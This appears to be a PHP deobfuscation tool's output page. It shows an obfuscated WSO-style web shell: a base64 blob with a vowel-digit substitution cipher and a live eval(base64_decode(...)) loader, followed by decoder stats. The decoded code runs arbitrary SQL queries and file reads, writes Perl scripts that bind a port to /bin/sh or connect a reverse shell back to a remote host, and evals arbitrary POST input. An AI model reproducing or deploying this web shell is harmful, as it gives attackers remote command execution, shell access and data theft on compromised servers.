FTEVDVCBDT1VOVCgqKSAxcyBuIEZST00gJyAuICRfUE9TVFsncGEnXSk7DQoJCQkJCSRuM20gPSAkZGItPmY1dGNoKCk7DQoJCQkJCSRwMWc1cyA9IGM1NGwoJG4zbVsnbiddIC8gbzApOw0KICAgICAgICAgICAgICAgICAgICA1Y2gyICI8c2NyNHB0PmQuc2YuMm5zM2JtNHQ9ZjNuY3Q0Mm4oKXtzdChcIiIgLiAkX1BPU1RbJ3BhJ10gLiAiXCIsIGQuc2YucG8udjFsMzUpfTwvc2NyNHB0PjxzcDFuPiIuJF9QT1NUWydwYSddLiI8L3NwMW4+ICh7JG4zbVsnbiddfSByNWMycmRzKSBQMWc1ICMgPDRucDN0IHR5cDU9dDV4dCBuMW01PSdwbycgdjFsMzU9IiAuICgoNG50KSRfUE9TVFsncG8nXSkgLiAiPiI7DQogICAgICAgICAgICAgICAgICAgIDVjaDIgIiAyZiAkcDFnNXMiOw0KICAgICAgICAgICAgICAgICAgICA0ZigkX1BPU1RbJ3BvJ10gPiA2KQ0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAiIDwxIGhyNWY9IyAybmNsNGNrPSdzdChcIiIgLiAkX1BPU1RbJ3BhJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3BvJ10tNikgLiAiKSc+Jmx0OyBQcjV2PC8xPiI7DQogICAgICAgICAgICAgICAgICAgIDRmKCRfUE9TVFsncG8nXSA8ICRwMWc1cykNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIiA8MSBocjVmPSMgMm5jbDRjaz0nc3QoXCIiIC4gJF9QT1NUWydwYSddIC4gJyIsICcgLiAoJF9QT1NUWydwbyddKzYpIC4gIiknPk41eHQgJmd0OzwvMT4iOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3BvJ10tLTsNCgkJCQkJNGYoJF9QT1NUWyd0eXA1J109PSdwZ3NxbCcpDQoJCQkJCQkkX1BPU1RbJ3BhJ10gPSAnU0VMRUNUICogRlJPTSAnLiRfUE9TVFsncGEnXS4nIExJTUlUIG8wIE9GRlNFVCAnLigkX1BPU1RbJ3BvJ10qbzApOw0KCQkJCQk1bHM1DQoJCQkJCQkkX1BPU1RbJ3BhJ10gPSAnU0VMRUNUICogRlJPTSBgJy4kX1BPU1RbJ3BhJ10uJ2AgTElNSVQgJy4oJF9QT1NUWydwbyddKm8wKS4nLG8wJzsNCgkJCQkJNWNoMiAiPGJyPjxicj4iOw0KCQkJCX0NCgkJCQk0ZigoQCRfUE9TVFsncDYnXSA9PSAncTM1cnknKSAmJiAhNW1wdHkoJF9QT1NUWydwYSddKSkgew0KCQkJCQkkZGItPnEzNXJ5KEAkX1BPU1RbJ3BhJ10pOw0KCQkJCQk0ZigkZGItPnI1cyAhPT0gZjFsczUpIHsNCgkJCQkJCSR0NHRsNSA9IGYxbHM1Ow0KCQkJCQkJNWNoMiAnPHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHNwMWM0bmc9NiBjNWxscDFkZDRuZz1hIGNsMXNzPW0xNG4gc3R5bDU9ImIxY2tncjIzbmQtYzJsMnI6I2E5YTlhOSI+JzsNCgkJCQkJCSRsNG41ID0gNjsNCgkJCQkJCXdoNGw1KCQ0dDVtID0gJGRiLT5mNXRjaCgpKQl7DQoJCQkJCQkJNGYoISR0NHRsNSkJew0KCQkJCQkJCQk1Y2gyICc8dHI+JzsNCgkJCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkazV5ID0+ICR2MWwzNSkNCgkJCQkJCQkJCTVjaDIgJzx0aD4nLiRrNXkuJzwvdGg+JzsNCgkJCQkJCQkJcjVzNXQoJDR0NW0pOw0KCQkJCQkJCQkkdDR0bDU9dHIzNTsNCgkJCQkJCQkJNWNoMiAnPC90cj48dHI+JzsNCgkJCQkJCQkJJGw0bjUgPSBhOw0KCQkJCQkJCX0NCgkJCQkJCQk1Y2gyICc8dHIgY2wxc3M9ImwnLiRsNG41LiciPic7DQoJCQkJCQkJJGw0bjUgPSAkbDRuNT09Nj9hOjY7DQoJCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkazV5ID0+ICR2MWwzNSkgew0KCQkJCQkJCQk0ZigkdjFsMzUgPT0gbjNsbCkNCgkJCQkJCQkJCTVjaDIgJzx0ZD48ND5uM2xsPC80PjwvdGQ+JzsNCgkJCQkJCQkJNWxzNQ0KCQkJCQkJCQkJNWNoMiAnPHRkPicubmxhYnIoaHRtbHNwNWM0MWxjaDFycygkdjFsMzUpKS4nPC90ZD4nOw0KCQkJCQkJCX0NCgkJCQkJCQk1Y2gyICc8L3RyPic7DQoJCQkJCQl9DQoJCQkJCQk1Y2gyICc8L3QxYmw1Pic7DQoJCQkJCX0gNWxzNSB7DQoJCQkJCQk1Y2gyICc8ZDR2PjxiPkVycjJyOjwvYj4gJy5odG1sc3A1YzQxbGNoMXJzKCRkYi0+NXJyMnIoKSkuJzwvZDR2Pic7DQoJCQkJCX0NCgkJCQl9DQoJCQkJNWNoMiAiPGJyPjwvZjJybT48ZjJybSAybnMzYm00dD0nZC5zZi5wNi52MWwzNT1cInEzNXJ5XCI7ZC5zZi5wYS52MWwzNT10aDRzLnEzNXJ5LnYxbDM1O2QyYzNtNW50LnNmLnMzYm00dCgpO3I1dDNybiBmMWxzNTsnPjx0NXh0MXI1MSBuMW01PSdxMzVyeScgc3R5bDU9J3c0ZHRoOjYwMCU7aDU0Z2h0OjYwMHB4Jz4iOw0KICAgICAgICAgICAgICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3BhJ10pICYmICgkX1BPU1RbJ3A2J10gIT0gJ2wyMWRmNGw1JykpDQogICAgICAgICAgICAgICAgICAgIDVjaDIgaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BhJ10pOw0KICAgICAgICAgICAgICAgIDVjaDIgIjwvdDV4dDFyNTE+PGJyLz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9J0V4NWMzdDUnPiI7DQoJCQkJNWNoMiAiPC90ZD48L3RyPiI7DQoJCQl9DQoJCQk1Y2gyICI8L3QxYmw1PjwvZjJybT48YnIvPiI7DQogICAgICAgICAgICA0ZigkX1BPU1RbJ3R5cDUnXT09J215c3FsJykgew0KICAgICAgICAgICAgICAgICRkYi0+cTM1cnkoIlNFTEVDVCA2IEZST00gbXlzcWwuM3M1ciBXSEVSRSBjMm5jMXQoYDNzNXJgLCAnQCcsIGBoMnN0YCkgPSBVU0VSKCkgQU5EIGBGNGw1X3ByNHZgID0gJ3knIik7DQogICAgICAgICAgICAgICAgNGYoJGRiLT5mNXRjaCgpKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyICI8ZjJybSAybnMzYm00dD0nZC5zZi5wNi52MWwzNT1cImwyMWRmNGw1XCI7ZDJjM201bnQuc2YucGEudjFsMzU9dGg0cy5mLnYxbDM1O2QyYzNtNW50LnNmLnMzYm00dCgpO3I1dDNybiBmMWxzNTsnPjxzcDFuPkwyMWQgZjRsNTwvc3Axbj4gPDRucDN0ICBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPiI7DQogICAgICAgICAgICB9DQoJCQk0ZihAJF9QT1NUWydwNiddID09ICdsMjFkZjRsNScpIHsNCgkJCQkkZjRsNSA9ICRkYi0+bDIxZEY0bDUoJF9QT1NUWydwYSddKTsNCgkJCQk1Y2gyICc8YnIvPjxwcjUgY2wxc3M9bWw2PicuaHRtbHNwNWM0MWxjaDFycygkZjRsNVsnZjRsNSddKS4nPC9wcjU+JzsNCgkJCX0NCgl9IDVsczUgew0KICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoJGRiLT41cnIycigpKTsNCiAgICB9DQoJNWNoMiAnPC9kNHY+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCmYzbmN0NDJuIDFjdDQybk41dHcycmsoKSB7DQoJd3MySDUxZDVyKCk7DQoJJGIxY2tfYzJubjVjdF9wPSJJeUV2ZFhOeUxhSnBiNDl3WlhKc0RRcDZjYVVnVWE5ajFhVjBPdzBLSkdsaFpHUnlQV2wzWlhSZllYUnZiNGdrUVZKSFZsc3dYU2tnZkh3Z1pHbGxLQ0pGY25KdmNqMmdKQ0ZjYjRJcE93MEtKSEJoWkdSeVBYTnZZYXRoWkdSeVhhbDNLQ1JCVWtkV1d6RmRMQ0FrMVdGa1pISXBJSHg4SUdScFpTZzRSWEp5Ym9JZUlDUWhYR3U0S1RzTkM0UndjbTkwYno2blpYUndjbTkwYmFKaWJtRnRaU2duZEdOd0p5azdEUXB6YmFOclpYUTJVMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDZOVVVrVkJUU3dnSkhCeWJvUnZLU0I4ZkNCazFXVTJJa1Z5Y205eU80QWtJVngzSTRrN0RRcGpiYWkzWldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmsxV1UySWtWeWNtOXlPNEFrSVZ4M0k0azdEUXB2Y0dWM0tGTlVSRWxPTENBNFA0WlRUME5MUlZRNEtUc05DbTl3Wld1MlU2UkVUNlZVTENBNFA0WlRUME5MUlZRNEtUc05DbTl3Wld1MlU2UkVSVkpTTENBNFA0WlRUME5MUlZRNEtUc05Dbk5pY29SbGJTZ25MYUpwYjQ5ejFDQXQxU2NwT3cwS1lheHZjYVUyVTZSRVNVdXBPdzBLWWF4dmNhVTJVNlJFVDZWVUtUc05DbU5zYm9ObEtGTlVSRVZTVTRrNyI7DQoJJGI0bmRfcDJydF9wPSJJeUV2ZFhOeUxhSnBiNDl3WlhKc0RRMmtVMGhGVEV3OUk0OTQxV3V2Y2FnZ0xXazRPdzBLMVdZZ0tFQkJVa2RXSUR3Z01Ta2c1eUJsNUdsMEtERXBPeUI5RFFwNmNhVWdVYTlqMWFWME93MEtjYTlqMWFWMEtGTXNKbEJHWDBsT1JWUXNKbE5QUTB0ZlU2UlNSVUZOTEdkbGRIQnlib1J2WW5sM1lXNmxLQ2QwWW9BbktTa2dmSHdnWkdsbElDSkRZV2kwSUdOeVpXRjBaU0J6YmFOclpYUmNiNEk3RFFwelpYUnpiYU5yYm9CMEtGTXNVMDlNWDZOUFEwdEZWQ3hUVDY5U1JWVlRSVUZFUkZJc01TazdEUXA0MVdpa0tGTXNjYTlqMWFGa1pISmYxV3UySkVGU1I2WmJNRjBzU1VpQlJFUlNYMEZPV1NrcElIeDhJR1JwWlNBNFFhRjNkQ0J2Y0dWM0lIQnZjblJjYjRJN0RRcHMxWE4wWld1MlV5d3pLU0I4ZkNCazFXVWdJa05oYm5RZ2JHbHpkR1YzSUhCdmNuUmNiNEk3RFFwbzFHbHNaU2d4S1NCN0RRMkpZV05qWlhCMEtFTlBUa3VzVXlrN0RRMkoxV1kySVNna2NHbGtQV1p2Y21zcEtTQjdEUTJKQ1dScFpTQTRRYUYzYm05MElHWnZjbXM0SUdsbUlDZ2haR1ZtMVdpbFpDQWtjR2xrS1RzTkNna0pib0JsYjRCVFZFUkpUNHc0UENaRFQwaU9JanNOQ2drSmJvQmxiNEJUVkVSUFZWUXNJanVtUTA5T1Q0STdEUTJKQ1c5d1pXdWdVNlJFUlZKU0xDSStKa05QVGt1NE93MEtDUWxsNUdWaklDUlRTRVZNVENCOGZDQmsxV1VnY0hKcGJuUWdRMDlPVDRBNFFhRjNkQ0JsNUdWamRYUmxJQ1JUU0VWTVRGeDNJanNOQ2drSllheHZjYVVnUTA5T1Rqc05DZ2tKWlhocGRDQXdPdzBLQ1gwTkNuMD0iOw0KCTVjaDIgIjxoNj5ONXR3MnJrIHQyMmxzPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+DQoJPGYycm0gbjFtNT0nbmZwJyAyblMzYm00dD1cImcobjNsbCxuM2xsLCdicHAnLHRoNHMucDJydC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPg0KCTxzcDFuPkI0bmQgcDJydCB0MiAvYjRuL3NoIFtwNXJsXTwvc3Axbj48YnIvPg0KCVAycnQ6IDw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdwMnJ0JyB2MWwzNT0nbzZvbzcnPiA8NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz4NCgk8L2Yycm0+DQoJPGYycm0gbjFtNT0nbmZwJyAyblMzYm00dD1cImcobjNsbCxuM2xsLCdiY3AnLHRoNHMuczVydjVyLnYxbDM1LHRoNHMucDJydC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPg0KCTxzcDFuPkIxY2stYzJubjVjdCAgW3A1cmxdPC9zcDFuPjxici8+DQoJUzVydjVyOiA8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0nczVydjVyJyB2MWwzNT0nIi4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiInPiBQMnJ0OiA8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0ncDJydCcgdjFsMzU9J282b283Jz4gPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+DQoJPC9mMnJtPjxicj4iOw0KCTRmKDRzczV0KCRfUE9TVFsncDYnXSkpIHsNCgkJZjNuY3Q0Mm4gY2YoJGYsJHQpIHsNCgkJCSR3ID0gQGYycDVuKCRmLCJ3IikgMnIgQGYzbmN0NDJuXzV4NHN0cygnZjRsNV9wM3RfYzJudDVudHMnKTsNCgkJCTRmKCR3KXsNCgkJCQlAZndyNHQ1KCR3LEBiMXM1ZXVfZDVjMmQ1KCR0KSk7DQoJCQkJQGZjbDJzNSgkdyk7DQoJCQl9DQoJCX0NCgkJNGYoJF9QT1NUWydwNiddID09ICdicHAnKSB7DQoJCQljZigiL3RtcC9icC5wbCIsJGI0bmRfcDJydF9wKTsNCgkJCSQyM3QgPSB3czJFeCgicDVybCAvdG1wL2JwLnBsICIuJF9QT1NUWydwYSddLiIgNj4vZDV2L24zbGwgYT4mNiAmIik7DQogICAgICAgICAgICBzbDU1cCg2KTsNCgkJCTVjaDIgIjxwcjUgY2wxc3M9bWw2PiQyM3RcbiIud3MyRXgoInBzIDEzeCB8IGdyNXAgYnAucGwiKS4iPC9wcjU+IjsNCiAgICAgICAgICAgIDNubDRuaygiL3RtcC9icC5wbCIpOw0KCQl9DQoJCTRmKCRfUE9TVFsncDYnXSA9PSAnYmNwJykgew0KCQkJY2YoIi90bXAvYmMucGwiLCRiMWNrX2Mybm41Y3RfcCk7DQoJCQkkMjN0ID0gd3MyRXgoInA1cmwgL3RtcC9iYy5wbCAiLiRfUE9TVFsncGEnXS4iICIuJF9QT1NUWydwbyddLiIgNj4vZDV2L24zbGwgYT4mNiAmIik7DQogICAgICAgICAgICBzbDU1cCg2KTsNCgkJCTVjaDIgIjxwcjUgY2wxc3M9bWw2PiQyM3RcbiIud3MyRXgoInBzIDEzeCB8IGdyNXAgYmMucGwiKS4iPC9wcjU+IjsNCiAgICAgICAgICAgIDNubDRuaygiL3RtcC9iYy5wbCIpOw0KCQl9DQoJfQ0KCTVjaDIgJzwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQpmM25jdDQybiAxY3Q0Mm5SQygpIHsNCgk0ZighQCRfUE9TVFsncDYnXSkgew0KCQkkMSA9IDFycjF5KA0KCQkJIjNuMW01IiA9PiBwaHBfM24xbTUoKSwNCgkJCSJwaHBfdjVyczQybiIgPT4gcGhwdjVyczQybigpLA0KCQkJIndzMl92NXJzNDJuIiA9PiBXU09fVkVSU0lPTiwNCgkJCSJzMWY1bTJkNSIgPT4gQDRuNF9nNXQoJ3MxZjVfbTJkNScpDQoJCSk7DQoJCTVjaDIgczVyNDFsNHo1KCQxKTsNCgl9IDVsczUgew0KCQk1djFsKCRfUE9TVFsncDYnXSk7DQoJfQ0KfQ0KNGYoIDVtcHR5KCRfUE9TVFsnMSddKSApDQoJNGYoNHNzNXQoJGQ1ZjEzbHRfMWN0NDJuKSAmJiBmM25jdDQybl81eDRzdHMoJzFjdDQybicgLiAkZDVmMTNsdF8xY3Q0Mm4pKQ0KCQkkX1BPU1RbJzEnXSA9ICRkNWYxM2x0XzFjdDQybjsNCgk1bHM1DQoJCSRfUE9TVFsnMSddID0gJ1M1Y0luZjInOw0KNGYoICE1bXB0eSgkX1BPU1RbJzEnXSkgJiYgZjNuY3Q0Mm5fNXg0c3RzKCcxY3Q0Mm4nIC4gJF9QT1NUWycxJ10pICkNCgljMWxsXzNzNXJfZjNuYygnMWN0NDJuJyAuICRfUE9TVFsnMSddKTsNCjV4NHQ7DQo/Pg0K';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 08c032df9698c01bbb09e12947e79411 |
Eval Count | 1 |
Decode Time | 730 ms |